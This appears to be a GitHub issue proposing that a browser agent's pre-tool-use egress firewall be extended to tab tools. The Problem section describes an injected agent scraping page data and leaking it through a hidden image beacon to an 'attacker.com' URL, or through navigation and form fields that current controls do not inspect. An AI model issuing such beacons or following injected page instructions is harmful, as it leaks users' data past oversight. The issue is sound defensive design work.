Skip to content

Security boundary: extend the PreToolUse egress firewall to tab tools #243

Description

@NotASithLord

Security-boundary arc, item 3 of 4. Sibling issues: #241 (deterministic-schema return), #242 (UGC downscaling), CDR + tainting.

Problem: a page-level exfil channel no peerd control sees

Three egress layers exist today — the PreToolUse egressAllowlistHook (tools/hooks/defaults/egress-allowlist.js), the hard safeFetch floor (peerd-egress/fetch/safe-fetch.js), and the gate chain (gates.js originGate). But all three operate at the agent's own fetch layer, and:

  • the egress hook explicitly exempts every primitive:'tab' tool (if (tool?.primitive === 'tab') return {action:'allow'}),
  • the web actor is keyless (spawn.js strips getSecret/safeFetch), so the allowlist path doesn't apply to it anyway,
  • there is no webRequest / declarativeNetRequest interception (confirmed: zero matches in service-worker.js).

So an injected actor that scrapes DOM data and then issues a hidden '<img src="https://attacker.com/?data=…">' beacon — or is steered via navigate/type/a form target — fires a browser-level request that no peerd egress control inspects. snapshot/read_page reading the DOM followed by a navigate/type acting on it is exactly the unmonitored DOM-data→URL path.

The fix

Extend the PreToolUse firewall to inspect tab-tool arguments — the exact tools the current hook skips:

  • navigate URLs — block DOM-data→query-string concatenation shapes (data appended to an off-origin URL).
  • type / form-fill values and submit targets — block exfil-shaped payloads.
  • and/or add a declarativeNetRequest layer for page-emitted requests, since fetch-level hooks structurally cannot see them (the <img> beacon).
  • Fail-closed: a heuristic hit terminates the actor heap + audits (mirrors the egress hook's fail-closed posture).

Functional-core: a pure heuristics module (URL/arg shape → allow/block + reason) the thin hook calls; tests pin the beacon and URL-concat shapes plus legitimate-navigation false-positive avoidance.

Open questions

  1. declarativeNetRequest (sees page requests, needs the permission + store review) vs. arg-inspection only (no new permission, misses page-initiated <img>). Likely both, staged: arg-inspection first (no manifest change), DNR as a follow-up.
  2. Heuristic tuning — DOM-data→URL is the signal; avoid breaking "read the GitHub README then navigate to a link in it" (legitimate).
  3. Interaction with Security boundary: UGC-zone read-only downscaling + origin-pinning + clean write hand-off #242's UGC downscaling — in a read-only UGC zone, mutating tab tools aren't present at all, so this firewall is the second layer for the write-actor hand-off + non-UGC origins.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    Status
    Done

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions